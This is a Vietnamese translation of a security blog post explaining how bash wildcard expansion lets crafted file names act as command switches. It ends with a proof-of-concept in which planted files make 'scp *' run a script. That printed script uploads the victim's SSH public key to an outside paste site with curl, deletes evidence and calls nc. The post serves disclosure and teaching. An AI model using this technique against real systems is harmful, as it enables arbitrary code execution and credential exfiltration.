Khai thác kí tự đại diện mở rộng trên Linux

Diem Do

Kí tự đại diện mở rộng 

 

Khi bạn gõ một câu lệnh với 1 kí tự “*” trong bash, bash mở rộng tất cả các file trong thư mục và đặt tất cả như các đối số cho chương trình. Ví dụ, cú pháp “rm *” sẽ xóa những file có trong thư mục hiện tại.

 

Tên tập tin bị hiểu sai như các Switche

 

Hầu hết những chương trình chạy bằng dòng lệnh có các switche ảnh hưởng đến cách chúng làm việc. Ví dụ, lệnh “ls” , khi chạy mà không có bất kỳ một switche nào thì sẽ xuất ra kết quả như bên dưới:

 

 [stephen@superX foo]$ ls 

asdf.txt  foobar  -l 

 

Bây giờ hãy nói rằng bạn muốn biết những gì mà nhóm và người dùng sở hữu những tập tin này. Bạn có thể đặt “-l” sau ls để tính toán chúng, giống như là:

 

[stephen@superX foo]$ ls -l 

total 0 

-rw-r–r– 1 stephen stephen 0 Jun 20 19:10 asdf.txt 

-rw-r–r– 1 stephen stephen 0 Jun 20 19:10 foobar 

-rw-r–r– 1 stephen stephen 0 Jun 20 19:10 -l 

 

Chú ý có một tập tin có tên -l trong thư mục của chúng tôi. Bây giờ hãy thử “ls *” và xem chuyện gì xảy ra:

 

[stephen@superX foo]$ ls * 

-rw-r–r– 1 stephen stephen 0 Jun 20 19:10 asdf.txt 

-rw-r–r– 1 stephen stephen 0 Jun 20 19:10 foobar

 

Hai kết quả xuất ra cuối cùng tương tự nhau, nhưng kết quả xuất ra của “ls *” thì khác nhau. Nó thiếu tập tin “-l” được hiểu như sự chuyển đổi từ ls thành “-l”. Không có cách nào cho chương trình ls để nói rằng “-l” đến từ sự mở rộng các kí tự đại diện và thực tế đã không phải là những gì nằm trong dự định của chúng tôi. Nó tương đương với cách chạy:

 

[stephen@superX foo]$ ls asdf.txt foobar.txt -l

-rw-r–r– 1 stephen stephen 0 Jun 20 19:10 asdf.txt 

-rw-r–r– 1 stephen stephen 0 Jun 20 19:10 foobar

 

Những vẫn đề bảo mật

 

Những tập tin bị hiểu sai có thể nảy sinh nhiều vấn đề  khi mà có một số người chạy một ký tự đại diện mở rộng trên một thư mục mà họ dowload trên Internet, mà không kiểm tra tên tập tin trước tiên,chẳng hạn như vậy. Có phải những điều này được dùng để  tấn công máy tính của một ai đó? Chúng ta có thể tạo ra một chương trình thực hiện những điều ‘không tốt’ bằng những tập tin được đặt tên một cách đặc biệt trong thư mục? Vâng, chúng ta có thể.

 

Những vấn đề đã được biết 

 

Những vấn đề này được nhiều người biết đến, nhưng với nhiều người nó vẫn mang đến một sự ngạc nhiên. Có một số cuộc thảo luận về nó trên danh sách Full Disclosure của mail.

 

Nhìn chung, chúng tôi gọi đây như là một “chức năng”,thực hiện bất cứ điều gì, thậm chí chức năng này mang đến nhiều sự ngạc nhiên hơn và khó để hiểu đối với những ai mà thật sự hiểu  những gì đang diễn ra. Thậm chí ngay cả khi, nếu có trường hợp, nếu có nhiều người hiểu sai về nó, những người này có thể dễ bị lợi dụng , cần xem xét lỗ hổng bảo mật hoặc là trong thiết kế hoặc là trong các tài liệu.

 

Việc thông báo đến Full Disclosure chứng minh cách mà các ký tự đại điện mở rộng có thể bị lạm dụng để nhờ một người dùng xóa những tập tin mà không nằm trong dự định. Đây rõ ràng là một phiền toái nhưng không phải là một vấn đề  quá nghiêm trọng. Những gì mà chúng tôi thật sự muốn là không thể dùng “*” vào trong việc thực thi code, và đó là những gì chúng tôi đã và đang thực hiện

 

Bằng chứng được khai thác

 

Cho thấy nó có thể biến những vấn đề này thành một cuộc tấn công thực thi code tùy ý, chúng tôi tấn công bằng lệnh “scp”. Lệnh scp cung cấp thêm sự tùy chọn “-o”, thành tùy chọn cấu hình ssh. May mắn thay, ssh có một tùy chọn cấu hình có liên quan đến việc chạy một câu lệnh. Chúng tôi có thể tận dụng những thuận lợi này để lấy chạy các script của chúng tôi.

 

Giả sử như chúng tôi có thể kiểm soát được nội dung của một thư mục, và bên trong thư mục đó nạn nhân sẽ chạy các câu lệnh sau. Thử tưởng tượng, ví dụ như, người dùng chỉ dowload source code của một ứng dụng web từ trang web của kẻ tấn công và đang tải lên những tập tin đến máy chủ web của họ.

 

$ scp * user@example.org:/var/www/

 

Để khai khác lệnh này trong thư mục chúng ta đặc 3 tập tin:

“-o” – SCP sẽ hiểu tập tin này như một sự chuyển đổi “-o”.

“ProxyCommand sh supercool.sh %h %p” – SCP sẽ hiểu tên của tập tin này như đối số của sự chuyển đổi “-o”

“supercool.sh” – Script sẽ chạy bao gồm cả code của kẻ tấn công

“zzz.txt” – Tập tin khác trong thư mục mà không có bất kỳ mục đích nào cho sự khai thác.

 

Sẽ tốt khi có nhiều tập tin trong thư mục, miễn là trong thứ tự bảng chữ cái không có của các tập tin này rơi vào giữa “-o” và “ProxyCommand” hay trước “-o” (bash bỏ qua dấu gạch ngang đầu khi sắp xếp tên, hay là trường hợp không nhạy cảm). Sự giới hạn này làm cho các cuộc tấn công trở nên khó khăn , từ khi tập tin “ProxyCommand” gây ra sự nghi ngờ sẽ hiện gần phía trên của danh sách thư mục , nếu người dùng tìm kiếm.

 

Bên trong “supercool.sh”, chúng tôi có một script sẽ thực hiện những gì “ProxyCommand” được cho là phải làm, cùng với một số lệnh độc hại:

 

#!/bin/sh

 

# Upload their SSH public key to the Internet, and put a scary message in /tmp/.

echo “By @DefuseSec and @redragonx…” > /tmp/you-have-been-hacked.txt

echo “This could have been your private key…” >> /tmp/you-have-been-hacked.txt

curl -s -d “jscrypt=no” -d “lifetime=864000”                                

        -d “shorturl=yes” –data-urlencode “paste@$HOME/.ssh/id_rsa.pub”    

        https://defuse.ca/bin/add.php -D – |                                

        grep Location | cut -d ” ” -f 2 >> /tmp/you-have-been-hacked.txt

 

# Delete evidence of our attack.

rm ./-o ProxyCommand sh supercool.sh %h %p 

echo > ./supercool.sh

 

# Do what ProxyCommand is supposed to do.

nc -p 22332 -w 5 $1 $2

 

Khi nạn nhân chạy lệnh scp của họ, sẽ xuất hiện: 

 

$ scp * user@example.org:/var/www/

supercool.sh

zzz.txt

 

Nhưng khi người dùng kiểm tra thư mục của họ /tmp/ directory, họ sẽ nhìn thấy tin nhắn của chúng tôi:

 

$ cat /tmp/you-have-been-hacked.txt 

By @DefuseSec and @redragonx…

This could have been your private key…

https://defuse.ca/b/QQ3nxADu

 

Bạn có thể dowload toàn bộ thư mục khái niêm in tập tin .zip tại đây tại đây. Cẩn thận và sẽ rất vui!

 

Bài này được viết bởi @RedragonX và @DefuseSec.

Chia sẻ bài viết ngay

Nguồn bài viết : dicesoft.net